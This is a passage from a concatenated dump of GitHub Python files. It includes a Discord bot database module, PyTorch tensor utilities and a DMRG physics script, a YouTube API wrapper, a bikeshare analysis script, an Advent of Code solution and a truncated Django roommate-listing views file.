outfile.write(train_file_txt)\n","repo_name":"zhaobaiyu/visdrone","sub_path":"darknet/scripts/visdrone_det_transform.py","file_name":"visdrone_det_transform.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"72"}
+{"seq_id":"25840445783","text":"from datetime import timedelta\nfrom typing import List\nimport discord\nfrom db.main import get_db\nfrom db.schemas import Guild, Joining, Task, User\n\ndb = next(get_db())\n\nasync def check_new_guild(ctx: discord.ApplicationContext) -> None:\n guild = db.query(Guild).get(ctx.guild_id)\n if guild is None:\n new_guild = Guild(\n guild_id = ctx.guild_id,\n guild_name = ctx.guild.name,\n notify_channel_id = ctx.guild.text_channels[0].id\n )\n db.add(new_guild)\n db.commit()\n\nasync def check_new_user(ctx: discord.ApplicationContext) -> None:\n user_id = ctx.author.id\n guild_id = ctx.guild_id\n user = db.query(User).get(user_id)\n if user is None:\n new_user = User(\n user_id = user_id,\n user_name = ctx.author.name\n )\n db.add(new_user)\n db.commit()\n \n join_info = db.query(Joining).filter(Joining.user_id == user_id, Joining.guild_id == guild_id).first()\n if join_info is None:\n new_joining = Joining(\n user_id = user_id,\n guild_id = guild_id\n )\n db.add(new_joining)\n db.commit()\n\nasync def get_task_id(user_id:int, title: str) -> str:\n task = db.query(Task).filter(Task.user_id == user_id, Task.task_name == title).first()\n if task is None:\n new_task = Task(\n task_name = title,\n user_id = user_id\n )\n db.add(new_task)\n db.commit()\n db.refresh(new_task)\n task = new_task\n return task.task_id\n\nasync def add_progress_time(task_id: int, duration: timedelta) -> bool:\n task = db.query(Task).get(task_id)\n if task is None:\n return False\n task.duration += duration\n db.commit()\n return True\n\nasync def set_notify_channel(guild_id: int, channel_id: int) -> bool:\n guild = db.query(Guild).filter(Guild.guild_id == guild_id).first()\n if guild is None:\n return False\n guild.notify_channel_id = channel_id\n db.commit()\n return True\n\nasync def get_guild_list() -> List[Guild]:\n return db.query(Guild).all()\n\nasync def get_joining_user(guild_id: int) -> List[Joining]:\n return db.query(Joining).filter(Joining.guild_id == guild_id).all()\n\nasync def get_task_list(user_id: int) -> List[Task]:\n return db.query(Task).filter(Task.user_id == user_id).all()\n\nasync def delete_user_and_task() -> None:\n db.query(User).delete()\n db.query(Task).delete()\n db.commit()\n\nasync def recreate_user(wd_list) -> None:\n for wd in wd_list:\n user = User(\n user_id = wd['user_id'],\n user_name = wd['name']\n )\n db.add(user)\n db.commit() \n","repo_name":"PigeonsHouse/ShinchokuChanBot","sub_path":"cruds.py","file_name":"cruds.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"43891744584","text":"from typing import Union\n\nimport torch\n\n\ndef reduce(to_reduce: torch.Tensor, reduction: str) -> torch.Tensor:\n \"\"\"\n reduces a given tensor by a given reduction method\n\n Parameters\n ----------\n to_reduce : torch.Tensor\n the tensor, which shall be reduced\n reduction : str\n a string specifying the reduction method.\n should be one of 'elementwise_mean' | 'none' | 'sum'\n\n Returns\n -------\n torch.Tensor\n reduced Tensor\n\n Raises\n ------\n ValueError\n if an invalid reduction parameter was given\n\n \"\"\"\n if reduction == 'elementwise_mean':\n return torch.mean(to_reduce)\n if reduction == 'none':\n return to_reduce\n if reduction == 'sum':\n return torch.sum(to_reduce)\n raise ValueError('Reduction parameter unknown.')\n\n\ndef atleast_1d(*tensors) -> Union[torch.Tensor, list]:\n \"\"\"\n Convert inputs to tensors with at least one dimension.\n\n Scalar inputs are converted to 1-dimensional tensors, whilst\n higher-dimensional inputs are preserved.\n\n Parameters\n ----------\n tensor1, tensor2, ... : tensor_like\n One or more input tensors.\n\n Returns\n -------\n torch.Tensor or list\n A tensor, or list of tensors, each with ``a.ndim >= 1``.\n Copies are made only if necessary.\n\n \"\"\"\n res = []\n for tensor in tensors:\n if not isinstance(tensor, torch.Tensor):\n tensor = torch.tensor(tensor)\n if tensor.ndim == 0:\n result = tensor.view(1)\n else:\n result = tensor\n res.append(result)\n if len(res) == 1:\n return res[0]\n else:\n return res\n","repo_name":"justusschock/dl-utils","sub_path":"dlutils/utils/tensor_ops.py","file_name":"tensor_ops.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"}
+{"seq_id":"3628674719","text":"import os\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nimport googleapiclient.errors\n\nclass YoutubeApi:\n def __init__(self, root=\"insert here path to your client secret file\"):\n api_service_name = \"youtube\"\n api_version = \"v3\"\n SCOPES = [\"https://www.googleapis.com/auth/youtube.force-ssl\"]\n \n self.CLIENT_SECRET_FILE = root\n self.response = \"\"\n \n # Get credentials and create an API client\n flow = InstalledAppFlow.from_client_secrets_file(\n CLIENT_SECRET_FILE, SCOPES)\n credentials = flow.run_console()\n self.youtube = build(\n api_service_name, api_version, credentials=credentials)\n \n def insert_comment(self, channel_id, video_id, text):\n request = self.youtube.commentThreads().insert(\n part=\"snippet\",\n body={\n \"snippet\": {\n \"channelId\": \"{0}\".format(channel_id),\n \"videoId\": \"{0}\".format(video_id),\n \"topLevelComment\": {\n \"snippet\": {\n \"textOriginal\": \"{0}\".format(text)\n }\n }\n }\n }\n )\n self.response = request.execute()\n print(self.response)\n\n def _parse_custom_channel_id(self, custom_id):\n resp = requests.get(f'https://www.youtube.com/c/{custom_id}')\n soup = BeautifulSoup(resp.text, 'html.parser')\n channel_id = soup.select_one('meta[property=\"og:url\"]')['content'].strip('/').split('/')[-1]\n return channel_id\n\n def search_channel(self, channel_id, max_number_of_videos=5, is_custom_id=False):\n if is_custom_id:\n channel_id = self._parse_custom_channel_id(channel_id)\n else:\n channel_id = channel_id\n request = self.youtube.search().list(channelId=channel_id,\n part='snippet',\n type='video',\n maxResults=max_number_of_videos,\n order='viewCount')\n self.response = request.execute()\n return self.response\n\n def search_video(self, video_id):\n request = self.youtube.videos().list(\n part=\"statistics\",\n id=video_id\n )\n self.response = request.execute()\n return self.response","repo_name":"sagisk/YouTube-Commenter","sub_path":"src/youtube_api.py","file_name":"youtube_api.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"72158974313","text":"import torch\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n\"\"\" Torch Setting \"\"\"\ndevice = torch.device(\"cpu\")\n\n\nsigma_x = torch.tensor([[0, 1], [1, 0]]).to(device)\nsigma_z = torch.tensor([[1, 0], [0, -1]]).to(device)\n\nLatticeLength = 16 # Final Lattice Length\nMaximalStates = 16 # Maximum States for truncation\n\nJ = 1 # Interaction Strength for x direction\nh = 0.8 # Interaction Strength for z direction\n\n\"\"\" Initialize the sysBlock and envBlock\"\"\"\nsysBlock_Ham = -h * sigma_z # Initially we have on-site potential term\nsysBlock_Sigma_x = sigma_x\nsysBlock_Sigma_z = sigma_z\nsysBlock_Length = 1\n\n# Environment elements:\nenvBlock_Ham = -h * sigma_z # Initially we have on-site potential term\nenvBlock_Sigma_x = sigma_x\nenvBlock_Sigma_z = sigma_z\nenvBlock_Length = 1\n\n\nDim = 2 # Local site dimension\n\nE_GS = [] # To store the ground state energy of eahc DMRG step\nSE = [] # von Neumann Entropy for sysBlock\n\n\n\"\"\"\nConvert it to PyTorch Version \n\"\"\"\n\n\"\"\" Torch Version Partial Trace\"\"\"\n\n\ndef partial_trace(psi, n1, n2):\n # define the density matrix for ground state psi\n # rho = psi @ psi.conj().T\n rho = torch.ger(psi, psi.T).to(device)\n rho_tensor = rho.reshape(int(n1), int(n2), int(n1), int(n2))\n RDM_sys = torch.einsum(\"ijkj->ik\", rho_tensor)\n RDM_env = torch.einsum(\"ijil->jl\", rho_tensor)\n\n return RDM_sys.to(device), RDM_env.to(device)\n\n\nwhile (sysBlock_Length + envBlock_Length) < LatticeLength:\n # Step 1: Enlarge the Blocks by adding a new site\n\n \"\"\"To check whether the dimensions of operators are correct\"\"\"\n sysBlock_Ham = (\n torch.kron(sysBlock_Ham, torch.eye(Dim, device=device)).to(device)\n - h\n * torch.kron(torch.eye(len(sysBlock_Ham), device=device), sigma_z).to(device)\n - J * torch.kron(sysBlock_Sigma_x, sigma_x).to(device)\n )\n\n envBlock_Ham = (\n torch.kron(torch.eye(Dim).to(device), envBlock_Ham).to(device)\n - h * torch.kron(sigma_z, torch.eye(len(envBlock_Ham)).to(device)).to(device)\n - J * torch.kron(sigma_x, envBlock_Sigma_x).to(device)\n )\n\n # Make sure both sysBlock and envBlock are Hermitian\n sysBlock_Ham[:] = 0.5 * (sysBlock_Ham + sysBlock_Ham.conj().T)\n envBlock_Ham[:] = 0.5 * (envBlock_Ham + envBlock_Ham.conj().T)\n\n # Step 2: Perpare the operator for Superblock Hamiltonain\n # The operators for middle two points\n sysBlock_Sigma_x = torch.kron(\n torch.eye(int(sysBlock_Ham.shape[0] // Dim)).to(device), sigma_x\n )\n sysBlock_Sigma_z = torch.kron(\n torch.eye(int(sysBlock_Ham.shape[0] // Dim)).to(device), sigma_z\n )\n\n envBlock_Sigma_x = torch.kron(\n sigma_x, torch.eye(int(envBlock_Ham.shape[0] // Dim)).to(device)\n )\n envBlock_Sigma_z = torch.kron(\n sigma_z, torch.eye(int(envBlock_Ham.shape[0] // Dim)).to(device)\n )\n\n # Update the size of both blocks\n sysBlock_Length = sysBlock_Length + 1\n envBlock_Length = envBlock_Length + 1\n\n # Step 3: Construct the Superblock Hamiltonain\n # print(len(sysBlock_Ham.toarray()))\n H_super = (\n torch.kron(sysBlock_Ham, torch.eye(int(envBlock_Ham.shape[0])).to(device))\n + torch.kron(torch.eye(int(sysBlock_Ham.shape[0])).to(device), envBlock_Ham)\n - J * torch.kron(sysBlock_Sigma_x, envBlock_Sigma_x)\n )\n\n # Return the ground state of superblock\n # val_States, vec_States = torch.linalg.svd(H_super)\n # val_GS, vec_GS = val_States[0], vec_States[:, 0]\n\n U, S, V_dagger = torch.linalg.svd(H_super)\n\n # Choose right Vec_GS from SVD, since SVD is semi-positive definite\n # Then if there are enegies level -1 , 1 --> 1 in SVD\n\n if torch.dot(U[:, 0], H_super @ U[:, 0]) <= 0:\n vec_GS = U[:, 0]\n else:\n vec_GS = U[:, 1]\n\n E_GS_local = torch.dot(vec_GS, (H_super @ vec_GS)) / (\n sysBlock_Length + envBlock_Length\n )\n\n print(f\"Energies={E_GS_local}\")\n E_GS.append(E_GS_local)\n\n # Step 4: Construct the RDM for sysBlock and envBlock\n sysBlock_DM, envBlock_DM = partial_trace(\n vec_GS,\n int(sysBlock_Ham.shape[0]),\n int(envBlock_Ham.shape[0]),\n )\n\n # Check trace of density matrix always = 1\n print(\n f\" sysblock_DM Hermitian check {torch.dist(sysBlock_DM, sysBlock_DM.conj().T )}\"\n )\n\n \"\"\" Make Sure the matrix is Hermitian\"\"\"\n sysBlock_DM = (sysBlock_DM + sysBlock_DM.conj().T) / 2\n envBlock_DM = (envBlock_DM + envBlock_DM.conj().T) / 2\n\n # Diagonalize the reduced density matrix\n (\n sysBlock_rotationMatrix,\n sysBlock_weight,\n sysBlock_rotationMatrix_dagger,\n ) = torch.linalg.svd(sysBlock_DM)\n (\n envBlock_rotationMatrix,\n envBlock_weight,\n envBlock_rotationMatrix_dagger,\n ) = torch.linalg.svd(envBlock_DM)\n\n print(f\" check trace of RDM = {torch.sum(sysBlock_weight)}\")\n\n \"\"\"Make the sysBlock weigth array in descending order\"\"\"\n # Sorted Method using Numpy\n sysBlock_idx = torch.argsort(sysBlock_weight, descending=True)\n sysBlock_weight_sort = sysBlock_weight[sysBlock_idx]\n\n # Prevent some negative zeros\n sysBlock_weight_sort = sysBlock_weight_sort[sysBlock_weight_sort > 0]\n Isys = sysBlock_idx\n\n print(f\"sorted {sysBlock_weight_sort}\")\n # Check Entanglement\n # If the resulted array is [1,0,0,.....,0], implying our target state is unentangled\n # If the resulted array is [0.7, 0.2, 0.02, ... 1e-8] , implying our targert state is an enatangled state\n\n # print(np.real(sysBlock_weight_sort[:min(len(sysBlock_weight_sort), MaximalStates) ]))\n\n # von Neumann entropy of sysBlock\n # locally update the dummy variable SE_local\n SE_local = -torch.sum(sysBlock_weight_sort * torch.log2(sysBlock_weight_sort))\n SE.append(np.real(SE_local))\n print(\"sysEntropy=\", np.real(SE_local))\n\n envBlock_idx = torch.argsort(envBlock_weight, descending=True)\n envBlock_weight_sort = envBlock_weight[envBlock_idx]\n Ienv = envBlock_idx\n\n # Obtain the truncated basis( There is some bugs in the truncation)\n # sysBlock is a matrix contains eigenvector, but not an array\n sysBlock_rotationMatrix = sysBlock_rotationMatrix[\n :, Isys[: min(MaximalStates, len(sysBlock_rotationMatrix))]\n ]\n envBlock_rotationMatrix = envBlock_rotationMatrix[\n :, Ienv[: min(MaximalStates, len(envBlock_rotationMatrix))]\n ]\n\n # Step 5: Truncation:\n # sysBlock\n sysBlock_Ham = (\n sysBlock_rotationMatrix.conj().T @ sysBlock_Ham @ sysBlock_rotationMatrix\n )\n sysBlock_Sigma_x = (\n sysBlock_rotationMatrix.conj().T @ sysBlock_Sigma_x @ sysBlock_rotationMatrix\n )\n sysBlock_Sigma_z = (\n sysBlock_rotationMatrix.conj().T @ sysBlock_Sigma_z @ sysBlock_rotationMatrix\n )\n\n # envBlock\n envBlock_Ham = (\n envBlock_rotationMatrix.conj().T @ envBlock_Ham @ envBlock_rotationMatrix\n )\n envBlock_Sigma_x = (\n envBlock_rotationMatrix.conj().T @ envBlock_Sigma_x @ envBlock_rotationMatrix\n )\n envBlock_Sigma_z = (\n envBlock_rotationMatrix.conj().T @ envBlock_Sigma_z @ envBlock_rotationMatrix\n )\n\n print(\"Total length =\", sysBlock_Length + envBlock_Length)\n\n\nloop_array = np.arange(0, len(E_GS), 1)\nplt.title(r\"Convergence of Ground State Energy \")\nplt.scatter(\n loop_array,\n np.array([E.cpu() for E in E_GS]),\n facecolors=\"none\",\n edgecolors=\"b\",\n label=r\"DMRG GS\",\n)\nplt.ylabel(r\" Energy per Site\")\nplt.xlabel(r\"Iterations\")\nplt.legend()\n\nplt.show()\n","repo_name":"rickypang0219/PyTorch_DeepLearning","sub_path":"DMRG_GPU_accelerated/TFIM_iDMRG.py","file_name":"TFIM_iDMRG.py","file_ext":"py","file_size_in_byte":7450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5970903453","text":"import time\r\nimport pandas as pd\r\nimport numpy as np\r\nimport calendar\r\nCITY_DATA = { 'chicago': 'chicago.csv',\r\n 'new york city': 'new_york_city.csv',\r\n 'washington': 'washington.csv' }\r\n\r\ndef get_filters():\r\n \"\"\"\r\n Asks user to specify a city, month, and day to analyze.\r\n\r\n Returns:\r\n (str) city - name of the city to analyze\r\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\r\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\r\n \"\"\"\r\n #Variable Intialization\r\n city_name=' '\r\n city=' '\r\n print('Hello! Let\\'s explore some US bikeshare data!')\r\n # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\r\n city_name=input('Enter your city Name::chicago, or new york city or washington:\\n')\r\n #Checking whether right city is entered or not\r\n while (city_name.strip()!='chicago' and city_name!='new york city' and city_name!='washington'):\r\n print('Please enter correct cityname:\\n')\r\n city_name=input('Enter your city Name::chicago, or new york city or washington:\\n')\r\n city=city_name\r\n \r\n # get user input for month (all, january, february, ... , june)\r\n month=input('Enter month to display statistics::all,January,February,....June:\\n' )\r\n while(month!='all' and month!='January' and month!='February' and month!='March'and \\\r\n month!='April' and month!='May' and month!='June' ):\r\n print('Enter Month in Text in CamelCase only between January and June')\r\n month=input('Enter month to display statistics::all,January,February,....June:\\n' )\r\n # get user input for day of week (all, monday, tuesday, ... sunday)\r\n day=input('Enter day of week ::all,Monday,Tuesday,.....Sunday:\\n')\r\n while(day!='all' and day!='Sunday' and day!='Monday' and day!='Tuesday' and day!='Wednesday'\\\r\n and day!='Thursday' and day!='Friday' and day!='Saturday'):\r\n print('Enter Day in Text in CamelCase only between Sunday and Saturday:Example like::Sunday or Monday')\r\n day=input('Enter day of week ::all,Monday,Tuesday,.....Sunday:\\n')\r\n print('-'*40)\r\n return city, month, day\r\n\r\n\r\ndef load_data(city,month,day):\r\n \"\"\"\r\n Loads data for the specified city and filters by month and day if applicable.\r\n\r\n Args:\r\n (str) city - name of the city to analyze\r\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\r\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\r\n Returns:\r\n df - Pandas DataFrame containing city data filtered by month and day\r\n \"\"\"\r\n df=pd.read_csv(CITY_DATA[city])\r\n #converting starttime endtime into DateTimeFormat\r\n df['Start Time']=pd.to_datetime(df['Start Time'])\r\n df['End Time']=pd.to_datetime(df['End Time'])\r\n #Adding New Columns Month,Day,hour , StartStation && EndStation by time package\r\n df['month']=df['Start Time'].dt.month\r\n df['day']=df['Start Time'].dt.weekday_name\r\n df['hour']=df['Start Time'].dt.hour\r\n df['Start Station && End Station']=df['Start Station']+' and '+df['End Station']\r\n #Converting Column Month Number into Month in text by apply by calendar package\r\n df['month']=df['month'].apply(lambda x: calendar.month_name[x])\r\n #returning dataframe based on month and Day values entered\r\n if month=='all' and day=='all':\r\n return df\r\n elif month=='all' and day!='all':\r\n return df.loc[(df['day']==day)]\r\n elif month!='all' and day=='all':\r\n return df.loc[(df['month']==month)]\r\n elif month!='all' and day!='all':\r\n return df.loc[(df['month']==month) & (df['day']==day)]\r\n else:\r\n return df\r\ndef time_stats(df):\r\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\r\n\r\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n com_month=' '\r\n com_dow=' '\r\n com_sh=0\r\n # display the most common month\r\n com_month=df['month'].mode()[0]\r\n print('most Common Month:{}\\n'.format(com_month))\r\n # display the most common day of week\r\n com_dow=df['day'].mode()[0]\r\n print('most Common day of week:{}\\n'.format(com_dow))\r\n # display the most common start hour\r\n com_sh=df['hour'].mode()[0]\r\n print('most Common day of start hour:{}\\n'.format(com_sh))\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\ndef station_stats(df):\r\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\r\n\r\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n start_SS=' '\r\n end_SS=' '\r\n freq_start_end_SS=' '\r\n # display most commonly used start station\r\n start_SS=df['Start Station'].mode()[0]\r\n # display most commonly used end station\r\n print('most Common Start Station:{}\\n'.format(start_SS))\r\n end_SS=df['End Station'].mode()[0]\r\n print('most Common end Station:{}\\n'.format(end_SS))\r\n # display most frequent combination of start station and end station trip\r\n freq_start_end_SS=df['Start Station && End Station'].mode()[0]\r\n print('most Common Start Station and End Station:{}\\n'.format(freq_start_end_SS))\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\ndef trip_duration_stats(df):\r\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\r\n\r\n print('\\nCalculating Trip Duration...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n totaltraveltime=0\r\n meantraveltime=0\r\n # display total travel time\r\n totaltraveltime=df['Trip Duration'].sum()\r\n print('Total Travel Time:{}\\n:'.format(totaltraveltime))\r\n\r\n # display mean travel time\r\n meantraveltime=df['Trip Duration'].mean()\r\n print('Total Travel Time:{}\\n:'.format(meantraveltime))\r\n\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\n\r\ndef user_stats(df):\r\n \"\"\"Displays statistics on bikeshare users.\"\"\"\r\n\r\n print('\\nCalculating User Stats...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n user_types=0\r\n gender_count=0\r\n earliest_DOB=0\r\n most_recent=0\r\n most_common=0\r\n # Display counts of user types\r\n user_types=df['User Type'].value_counts()[0]\r\n print('User Type Counts:{}\\n:'.format(user_types))\r\n #print(df)\r\n #checking if Gender Column Exists in Dataframe\r\n if 'Gender' in df:\r\n gender_count=df['Gender'].value_counts()[0]\r\n # Display counts of gender\r\n print('Gender Type Counts:{}\\n:'.format(gender_count))\r\n\r\n # Display earliest, most recent, and most common year of birth\r\n #checking if Birthyear Column Exists in Dataframe\r\n if 'Birth Year' in df:\r\n earliest_DOB=df['Birth Year'].max()\r\n print('Earliest DOB:{}\\n:'.format(earliest_DOB))\r\n if 'Birth Year' in df:\r\n most_recent=df['Birth Year'].iloc[-1]\r\n print('Most Recent DOB:{}\\n:'.format(most_recent))\r\n if 'Birth Year' in df:\r\n most_common=df['Birth Year'].mode()[0]\r\n print('Most common DOB:{}\\n:'.format(most_common))\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\ndef main():\r\n while True:\r\n city, month, day = get_filters()\r\n df = load_data(city, month, day)\r\n\r\n time_stats(df)\r\n station_stats(df)\r\n trip_duration_stats(df)\r\n user_stats(df)\r\n\r\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\r\n if restart.lower() != 'yes':\r\n break\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","repo_name":"Reddshan/BikeShare_DataAnalysis","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":7760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16876548211","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 15 11:39:51 2019\n\n@author: tgadfort\n\"\"\"\n\nimport argparse\n\nparser = argparse.ArgumentParser(description='Example with long option names')\nparser.add_argument('--id', action=\"store\", dest=\"gameID\")\nresults = parser.parse_args()\n\nfrom playbyplay import playbyplay\nfrom historical import historical\nfrom espngames import season, game, team\n\nimport logging\n\nlogger = logging.getLogger('log')\nlogger.setLevel(logging.DEBUG)\n\nfh = logging.FileHandler('results.log', mode='w')\nfh.setLevel(logging.DEBUG)\nlogger.addHandler(fh)\n\n#logging.basicConfig(filename='parsing.log', level=logging.INFO)\nlogger.info('creating a logger message')\n\nhist = historical()\nprint(hist)\n\nlogger.info('done creating a logger message')\n\npbp = playbyplay()\npbp.setHistorical(hist)\ngameID = results.gameID\nprint(\"GameID set to [{0}]\".format(gameID))\npbp.parseGames(gameID=gameID, test=False, debug=False, verydebug=False)\n\n\nprint(\"Bad + Good: \",len(pbp.badGames.keys())+len(pbp.goodGames.keys()))\nprint(\"Bad: \",len(pbp.badGames.keys()))\nprint(\"Games: \",pbp.badGames.keys())\n\n\ndef writeEdit(gameID, driveNo, playNo, text=None):\n print(\" if gameID == '{0}':\".format(gameID))\n print(\" if driveNo == {0} and playNo == {1}:\".format(driveNo, playNo))\n if text is not None:\n print(\" newtext = \\\"{0}\\\"\".format(text))\n else:\n print(\" keep = False\")\n\n","repo_name":"tgadf/football","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"13010458509","text":"arr = []\ninverse = {\">\": \"<\", \"]\": \"[\", \")\": \"(\", \"}\": \"{\"}\nscore = {\"(\":1,\"[\":2, \"{\":3,\"<\":4}\nt = []\nincomplete = []\nfor line in open(\"C:\\\\Users\\\\anant\\\\PythonProjects\\\\AdventOfCode\\\\day10\\\\inp10.txt\").readlines():\n stack = []\n ans = 0\n line = line.strip()\n incorrect = \"\"\n for value in line:\n if value in inverse.values():\n stack.append(value)\n elif value in inverse.keys():\n if len(stack) > 0 and inverse[value] == stack[-1]:\n stack.pop() \n else:\n incorrect = value\n break\n if incorrect==\"\": \n stack.reverse() \n for i in stack:\n ans*=5\n ans+=score[i]\n t.append(ans)\n\nt.sort()\nprint(t[len(t)//2])","repo_name":"OneBitPython/AdventOfCode","sub_path":"2021/day10/day10B.py","file_name":"day10B.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20903825037","text":"from datetime import date\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q, Subquery, OuterRef\nfrom django.http import HttpResponseBadRequest\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.urls import reverse_lazy\nfrom django.views import View\nfrom django.views.generic import TemplateView, UpdateView, CreateView, DetailView, FormView, ListView\n\nfrom roommate.filters import ApartmentFilter\nfrom roommate.forms import UserRegisterForm, UserProfileForm, ApartmentForm, AuthenticationNewForm, UserPreferenceForm, \\\n LifestyleForm, MessageForm\nfrom roommate.models import Apartment, UserProfile, Favorite, ApartmentImage, UserPreference, Lifestyle, Message\n\n\nclass HomeTemplateView(TemplateView):\n template_name = 'home_page.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n # Add an apartment variable to the context dictionary\n apartment = Apartment.objects.first()\n context['apartment'] = apartment\n return context\n\n\ndef login_view(request):\n if request.method == 'POST':\n form = AuthenticationNewForm(data=request.POST)\n if form.is_valid():\n remember_me = form.cleaned_data.get('remember_me')\n if remember_me:\n request.session.set_expiry(settings.SESSION_COOKIE_AGE)\n else:\n request.session.set_expiry(0)\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n form = AuthenticationNewForm()\n return render(request, 'registration/login.html', {'form': form})\n\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n user = form.save()\n user_profile = UserProfile()\n user_profile.user = user\n user_profile.user_type = form.cleaned_data['user_type']\n user_profile.gender = form.cleaned_data['gender'] # Save the gender to UserProfile\n user_profile.save()\n UserPreference.objects.create(user=user)\n Lifestyle.objects.create(user=user)\n return render(request, 'registration/account_created.html')\n else:\n form = UserRegisterForm()\n return render(request, 'registration/register.html', {'form': form})\n\n\n@login_required\ndef toggle_favorite(request, pk):\n user = request.user\n apartment = get_object_or_404(Apartment, id=pk)\n favorite = Favorite.objects.filter(user=user, apartment=apartment).first()\n if favorite:\n favorite.delete()\n else:\n Favorite.objects.create(user=user, apartment=apartment)\n return redirect(request.META.get('HTTP_REFERER'))\n\n\nclass UserProfileUpdateView(LoginRequiredMixin, FormView):\n template_name = 'settings.html'\n\n def get(self, request, *args, **kwargs):\n user_profile = request.user.userprofile\n profile_form = UserProfileForm(instance=user_profile)\n preference_form = UserPreferenceForm(instance=request.user.preference) # Use UserPreference instance\n lifestyle_form = LifestyleForm(instance=request.user.lifestyle)\n return render(request, self.template_name, {'profile_form': profile_form, 'preference_form': preference_form,\n 'lifestyle_form': lifestyle_form})\n\n def post(self, request, *args, **kwargs):\n user_profile = request.user.userprofile\n form_type = request.POST.get('form_type')\n if form_type == 'profile_form':\n form = UserProfileForm(request.POST, request.FILES, instance=user_profile)\n elif form_type == 'preference_form':\n form = UserPreferenceForm(request.POST, instance=request.user.preference) # Use UserPreference instance\n elif form_type == 'lifestyle_form':\n form = LifestyleForm(request.POST, instance=request.user.lifestyle)\n else:\n return HttpResponseBadRequest('Invalid form type')\n\n if form.is_valid():\n form.save()\n messages.success(request, 'Changes saved successfully.')\n return redirect('home')\n\n profile_form = UserProfileForm(instance=user_profile)\n preference_form = UserPreferenceForm(instance=request.user.preference) # Use UserPreference instance\n lifestyle_form = LifestyleForm(instance=request.user.lifestyle)\n return render(request, self.template_name, {'profile_form': profile_form, 'preference_form': preference_form,\n 'lifestyle_form': lifestyle_form})\n\n\nclass ApartmentCreateView(LoginRequiredMixin, CreateView):\n model = Apartment\n form_class = ApartmentForm\n template_name = 'post_a_room.html'\n success_url = reverse_lazy('home')\n\n def get(self, request, *args, **kwargs):\n user = request.user\n user_profile = UserProfile.objects.get(user=user)\n if user_profile.user_type == 'seeker':\n messages.error(request, 'You are not allowed to post a room.')\n return redirect('home')\n elif Apartment.objects.filter(author=user).exists():\n messages.error(request, 'You are not allowed to post more than one room.')\n return redirect('home')\n return super().get(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n form_class = self.get_form_class()\n form = self.get_form(form_class)\n files = request.FILES.getlist('images')\n if form.is_valid():\n apartment = form.save(commit=False)\n apartment.author = request.user\n apartment.save()\n for f in files:\n image_instance = ApartmentImage.objects.create(image=f, apartment=apartment)\n apartment.images.add(image_instance)\n apartment.save()\n return redirect(self.success_url)\n else:\n return self.form_invalid(form)\n\n\n@login_required\ndef browse_rooms(request):\n apartment_list = Apartment.objects.all().order_by('-date_posted')\n filter = ApartmentFilter(request.GET, queryset=apartment_list)\n filtered_apartments = filter.qs\n context = {\n 'apartments': apartment_list,\n 'filtered_apartments': filtered_apartments,\n 'filter': filter,\n }\n # Add an apartment variable to the context dictionary\n apartment = apartment_list.first()\n context['apartment'] = apartment\n return render(request, 'browse_rooms.html', context)\n\n\nclass ApartmentDetailView(LoginRequiredMixin, DetailView):\n model = Apartment\n template_name = 'apartment_detail.html'\n context_object_name = 'apartment'\n\n\nclass UserProfileView(LoginRequiredMixin, DetailView):\n model = UserProfile\n template_name = 'user_profile.html'\n context_object_name = 'user_profile'\n\n def get_object(self, queryset=None):\n user_pk = 